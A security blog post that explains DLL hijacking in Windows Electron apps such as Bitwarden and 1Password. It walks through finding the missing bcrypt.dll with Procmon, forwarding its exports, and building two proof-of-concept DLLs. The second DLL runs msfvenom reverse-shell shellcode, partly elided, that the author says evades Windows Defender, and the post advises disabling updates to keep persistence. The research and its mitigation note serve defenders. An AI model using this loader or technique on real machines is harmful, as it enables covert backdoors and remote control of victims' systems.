White shape | Hexiosec Logo

Abusing DLL Hijacking vulnerabilities in Windows Electron apps

Naz Markuta
18 October 2023
|
9 min Read
|
Naz Markuta

This blog shows how to identify and abuse DLL hijacking vulnerabilities in Windows Electron apps, as well as the process of developing a proof of concept that utilises DLL proxying. Here we use the Bitwarden Desktop app as an example Electron application, but note that this vulnerability may apply to all Electron apps, including 1Password, Slack, Discord, WhatsApp, Microsoft Visual Studio Code, Microsoft Teams, and many others.

NOTE: If users are concerned about this issue with Windows applications installed in single user mode, they can uninstall the app and reinstall it for “Anyone who uses this computer (all users)”, which requires admin rights. When installed for “all users”, Windows itself has more stringent security controls about replacing DLLs and disallows this behavior.

Introduction

I’ve recently been reading up on red teaming and preparing for some endpoint security testing, so wanted to explore and learn more about persistence mechanisms. For those of you who are not in the security field, persistence is where attackers try to maintain access on a victim’s machine after initial compromise. I specifically wanted to explore DLL hijacking, which is sometimes called DLL side-loading (but is not the same).

I came across an interesting blog post on back dooring electron applications and was naturally curious at the process for exploiting an application.

Bitwarden Desktop app

Bitwarden is a great password manager that supports just about every major system. I personally use it on a self-hosted instance along with the web browser extension. Bitwarden also offers a desktop application that is built on Electron. A previous blog showed how Bitwarden master passwords could be extracted from memory, but thankfully this issue is now fixed.

Installation types

There are two installation options, one for system-wide (all users), and one for a single user. This post assumes Bitwarden was installed for a single user. This doesn’t require administrative rights, and is also the default option, as of version 2023.7.1:

BitWarden Installer

When you install the app system wide, by default unprivileged users do not have permission to write to Program Files, Systems32 and other application folders, and thus can’t load a malicious DLL libraries.

What is DLL Hijacking?

DLL Hijacking is a technique that abuses the Windows DLL search order to try and hijack a process execution flow. This is done by replacing an existing DLL, or adding a non-existing DLL in a specific path. When a user executes the legitimate application, the process will load the malicious DLL and continue executing. The technique has been around for quite some time, but more recently has been used by various threat actors and red teams for persistence.

Windows DLL search order

Most applications are compiled as dynamic binaries, whereby dependencies needed for the application to function properly are loaded into the process’s memory during run time. On Windows, these dependencies are usually DLL libraries stored on the system somewhere.

On Windows systems, when an application needs to load a DLL it will go through the following order:

  1. The directory from where the application is loaded
  2. C:\Windows\System32,
  3. C:\Windows\System,
  4. C:\Windows,
  5. The current working directory,
  6. Directories in the system PATH environment variable,
  7. Directories in the user PATH environment variable.

Depending on how the application is configured or where it loads DLLs from, it may be vulnerable.

How to check if an application is vulnerable?

This can easily be done with a tool like Procmon, which is a SystemInternals tool that monitors process execution. In this case, we are trying to identify DLLs which are loaded but do not exist, and more specifically loaded from a location that we can control or write to.

To identify processes which try to load non-existent DLLs with Procmon:

  • Create a new filter where Process Name e.g. Bitwarden.exe
  • Create a new filter where Result is NAME NOT FOUND
  • Create a new filter where Path ends with .dll

Procmon

There are several DLLs which try to get loaded when the Bitwarden.exe process executes, and fail because they don’t exist in the local PATH. But more importantly, these DLLs are loaded from a writable directory, meaning we don’t need administrative privileges to, say, copy a malicious DLL.

I could’ve picked any from the list above, but I decided to go with this uniquely named one:

C:\Users\Tester\AppData\Local\Programs\Bitwarden\resources\app.asar.unpacked\node_modules\@bitwarden\desktop-native\bcrypt.dll

Note: As an alternative Electron Windows app, the password manager 1Password was also found trying to load the same library bcrypt.dll. And it too uses the single user installation method by default. Here is an example PATH:

C:\Users\Tester\AppData\Local\1Password\app\8\bcrypt.dll

The DLL payload written below works on both applications, as well as others too.

Dynamic binary analysis

First we need to understand what functions inside bcrypt.dll are used by the Bitwarden app, so that the app remains functional if we replace it.

I launched the binary using a dynamic debugger x64dbg, so that I can identify all the libraries being loaded, as well as the exported functions being called in the bcrypt.dll library.

Strangely, there weren’t any signs of the bcrypt.dll library being loaded early on in the program’s execution.

I then let the binary run normally, without any breakpoints, and waited until the app (Bitwarden) shows a log-in prompt, then paused execution and inspected the symbols again. Within the symbols menu I could now see the bcrypt.dll library had been successfully loaded. Great!

But what’s interesting is the bcrypt library is not being loaded directly by Bitwarden.exe, but by another library called desktop_native.win32-x64-msvc.node. We can verify this by looking at the library’s imports, shown below (bottom right):

It shows a function called BCryptGenRandom() inside bcrypt.dll being imported. The function name suggests it is used to generate a random number; looking at Microsoft docs indeed confirms this.

Sanity check

Before attempting to create a custom DLL, I did a quick smoke test.

I randomly picked a DLL from the Windows System32 folder and placed it in the import directory and renamed it to bcrypt.dll. I then ran the app normally. This may not always give some insight, but I like to see what happens to an app when it tries to load an unexpected or invalid DLL.

The DLL was placed in the following directory (which is writable for unprivileged users):

C:\Users\Tester\AppData\Local\Programs\Bitwarden\resources\app.asar.unpacked\node_modules\@bitwarden\desktop-native\

And ran the application normally.

I immediately get an error, and the Bitwarden app crashes. Great!

This confirms we are able to alter the execution of the Bitwarden process by adding a DLL named bcrypt.dll into a specific path. As mentioned previously, this vulnerability exists when Bitwarden is installed for single user (default option), rather than system-wide.

Creating a custom DLL

To get started, I researched online for some C++ or C template code and found a nice sample on ired.team. To include the content of the proper DLL, I modified the #pragma lines (more on this later) to include the absolute path of the bcrypt.dll located in System32, instead of copying the whole DLL library to the import PATH.

Getting all exported functions

I knew that only one function was being called, BCryptGenRandom(), but I wanted to make sure that ALL functions inside the bcrypt.dll library are forwarded. This was done so that if any other vulnerable app relies on this library, I can re-use it, without having to handpick specific functions.

I opted to use x64dbg again, as it has the option to copy and paste the exported functions manually. The library has a total of 58 functions. As a quick and dirty way, I used the following commands on my Windows Linux subsystem to create a list of C++ lines with the forwarded functions:

cat bcrypt_functions.txt | awk -F ',' '{print "#pragma comment(linker, \"/export:"$4"=C:\\\\windows\\\\system32\\\\bcrypt."$4",@"$3"\")" }'

A better way is to use a tool such as SharpDllProxy to automate it for you - it automatically gets a list of exported functions and provides a source code template that you can add to your malicious DLL project.

Forwarding function calls

To ensure the application runs properly without loosing any functionality, we use the compiler directive #pragma comment() to require our malicious DLL to have a list of exported functions that match the original bcrypt.dll functions. In a way, proxying or forwarding the function calls.

Basic DLL C++ source code

The example C++ source code below, when compiled and loaded simply shows a message Window box with my Twitter handle. You’ll also notice that when you run the Bitwarden app it’ll load the DLL and wait until you click okay before continuing execution, which is not really useful for red teams.

The library uses a switch option DLL_PROCESS_ATTACH to perform an action when the DLL is loaded. In the real world an attacker may want to implement a stager payload that downloads and executes additional malware on the system.

#include "pch.h"

// Note: For the full list use https://gist.github.com/markuta/8c547f2a58d560e446fef2ce7bf81b04
#pragma comment(linker, "/export:BCryptGenRandom=C:\\windows\\system32\\bcrypt.BCryptGenRandom,@30")

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    
    switch (ul_reason_for_call) {
        case DLL_PROCESS_ATTACH:
        {
            MessageBoxA(NULL, "Hi from @nazmarkuta", "Window Title", 0);
        }
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
        }
    return TRUE;
}

For the full list of functions see gist.github.com/markuta/8c547f2a58d560e446fef2ce7bf81b04.

Demo

Here’s a video demo, which shows the basic malicious bcrypt.dll being loaded by Bitwarden:

Advanced DLL C++ source code

A slightly more advanced version spawns a new thread in the current process, and then executes a msfvenom generated payload (meterpreter reverse tcp shell). This sample WILL most likely get picked up by EDRs. However, at the time of writing the DLL is undetected by Windows Defender.

#include "pch.h"
#include <windows.h>

#pragma comment(linker, "/export:BCryptGenRandom=C:\\windows\\system32\\bcrypt.BCryptGenRandom,@30")

DWORD WINAPI ThreadFunction(LPVOID lpParameter)
{
    unsigned char shellcode[] =
        "\x9b\x9f\x92\x9b\x9f\xfc\x99\x99\x9b\x92\x93\x91\x9e\x99"
        "..."
        "\xec\xe4\x4b\x69\x13\x5a\xa8\xe3\x0e\x29\x19\x42\x9a\xd9"
        "\xec\xd6\xb2\xe9";

	void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memcpy(exec, shellcode, sizeof shellcode);
	((void(*)())exec)();
    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)

{

    HANDLE threadHandle;

    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        //MessageBoxA(NULL, "Hi from @nazmarkuta", "Window Title", 0);
        threadHandle = CreateThread(NULL, 0, ThreadFunction, NULL, 0, NULL);
        CloseHandle(threadHandle);
        break;
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

Now when you run the Bitwarden app, a new thread called bcrypt.dll!ThreadFunction will be created within the main process; you can use a tool like Process Hacker for inspection. This is what will load the generated shellcode:

And we get a reverse shell back on our Kali box.

Caveats

When Bitwarden Desktop initiates a software update, the malicious DLL will be removed from the directory, along with our persistence. For red teams, I think one way to overcome this (not so stealthily) is to forcedly disable Bitwarden from automatically updating itself, or at least stop checking for the latest version.

Conclusion

In this blog post we describe what a DLL hijacking vulnerability is and how to identify it. We also went through the steps involved in developing a basic and advanced version of a malicious DLL library. The library also uses a feature that forwards legitimate functions to the intended DLL, meaning it’ll be transparent to the target application, without losing any functionality.

Resources and further reading

Here are a bunch of great resources I used:

About Naz Markuta
Naz is a technical Cyber Security professional with experience in technical research, penetration testing and vulnerability research. Naz has found credited vulnerabilities in hardware devices, mobile and web applications. At Hexiosec he helped to deliver our cyber security consulting services, until his departure in April 2024.
Naz Markuta